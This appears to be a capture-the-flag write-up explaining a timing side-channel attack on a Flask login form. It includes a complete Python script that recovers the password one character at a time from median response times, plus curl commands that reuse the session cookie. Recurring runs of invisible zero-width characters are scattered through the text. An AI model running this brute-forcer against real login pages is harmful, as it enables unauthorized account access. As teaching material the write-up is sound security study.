← Back to Writeups
CUSTOMMediumWeb

wait

XESXOR9/2/20264 min read
#web#custom#medium#response_time_medianing#prefix_enumeration#timing_side_channel_exploitati

wait

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: response_time_medianing, prefix_enumeration, timing_side_channel_exploitation

Summary

Walkthrough of the CUSTOM Web wait. Task: Flask login portal with a password-only form and a protected dashboard. Solution: exploit a timing side channel in access-code verification, recover the secret one character at a time with media

Description

the challenge says to wait? what happens if i just sit here and do nothing?

hmm. It seems theres a very slow delay... I wonder how long it takes?

English summary: the challenge exposes a small web portal at https://bluehens-wait.chals.io with a password-only login form and a protected dashboard. The goal is to recover the correct access code and use it to authenticate.

Recon

Initial endpoint mapping showed a very small Flask/Werkzeug application:

  • GET / returned a Chronos Systems portal page.
  • GET /login showed a password-only login form.
  • POST /login accepted the password form field.
  • GET /dashboard redirected to /login when no valid session cookie was present. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The server identified itself as Werkzeug/3.1.8 Python/3.12.13.

Several common shortcuts were checked and ruled out:

  • /robots.txt
  • /.env
  • /.git/HEAD
  • /flag
  • /admin
  • /api/flag

Basic SQL injection payloads also failed, so the challenge did not appear to be input injection.

Vulnerability Analysis

The useful clue was in the challenge text itself: “wait” and “very slow delay.” Wrong passwords always returned Invalid access code., but the response time was not constant.

By testing candidate passwords with different prefixes, it became clear that the verification routine compared the submitted access code character-by-character and introduced a tiny extra delay for each correct leading character before eventually rejecting the request. That creates a classic timing side channel: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • completely wrong guess → short response
  • guess with 1 correct leading character → slightly slower
  • guess with 2 correct leading characters → slightly slower again
  • and so on

So even though the application never disclosed partial correctness in the body, it leaked it in the response time. This turned the login into a prefix oracle.

Median timing was more reliable than a single request because network jitter and remote hosting noise occasionally produced outliers.

Exploitation

The attack was to brute-force the password one character at a time. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Choose an alphabet of likely characters, such as lowercase letters, uppercase letters, digits, and _{}- if needed.
  2. Start with an empty prefix.
  3. For each position, try every candidate character as prefix + candidate.
  4. Send several login requests for each candidate.
  5. Measure response times and take the median.
  6. Keep the character with the highest median delay.
  7. Repeat until the full secret is recovered or a successful login occurs.

This recovered the access code:

text
REDACTED

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Submitting that value to POST /login returned an HTTP 302 redirect to /dashboard along with a valid Flask session cookie. Reusing that cookie on /dashboard revealed the flag.

Example exploit script

python
#!/usr/bin/env python3
import string
import time
from statistics import median

import requests

BASE = "https://bluehens-wait.chals.io"
LOGIN = f"{BASE}/login"
ALPHABET = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_{}-"
TRIALS = 5
MAX_LEN = 32


def timed_try(prefix: str):
    samples = []
    for _ in range(TRIALS):
        start = time.perf_counter()
        r = requests.post(
            LOGIN,
            data={"password": prefix},
            allow_redirects=False,
            timeout=10,
        )
        elapsed = time.perf_counter() - start
        samples.append(elapsed)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        if r.status_code == 302:
            return True, median(samples)

    return False, median(samples)


def main():
    prefix = ""

    for pos in range(MAX_LEN):
        best_char = None
        best_time = -1.0

        for ch in ALPHABET:
            guess = prefix + ch
            ok, value = timed_try(guess)
            print(f"[pos {pos:02d}] {guess!r} -> {value:.5f}s")

            if ok:
                print(f"[+] Access code found: {guess}")
                return

            if value > best_time:
                best_time = value
                best_char = ch
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        prefix += best_char
        print(f"[+] Prefix now: {prefix!r} (median {best_time:.5f}s)")

    print(f"[!] Reached max length, current prefix: {prefix}")


if __name__ == "__main__":
    main()

Verification

First, log in with the recovered access code:

bash
curl -i -sS -X POST 'https://bluehens-wait.chals.io/login' \
  --data-urlencode 'password=REDACTED'

Expected behavior:

  • HTTP 302 Found
  • Location: /dashboard
  • a valid Flask session cookie in Set-Cookie

Then send the returned cookie to /dashboard: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -sS 'https://bluehens-wait.chals.io/dashboard' \
  -H 'Cookie: session=<paste_cookie_here>'

The dashboard response contains the flag.

Lessons Learned

  • A login flow can leak secrets even when the response body is identical for all failures.
  • Small per-character delays are enough to build a password oracle if timing is stable enough.
  • Median-based measurements make remote timing attacks much more reliable than single samples.
  • When obvious routes and injection payloads fail, challenge wording often hints at the real attack surface. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering response_time_medianing, prefix_enumeration, timing_side_channel_exploitation was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-22 • CUSTOM • wait • Difficulty: Medium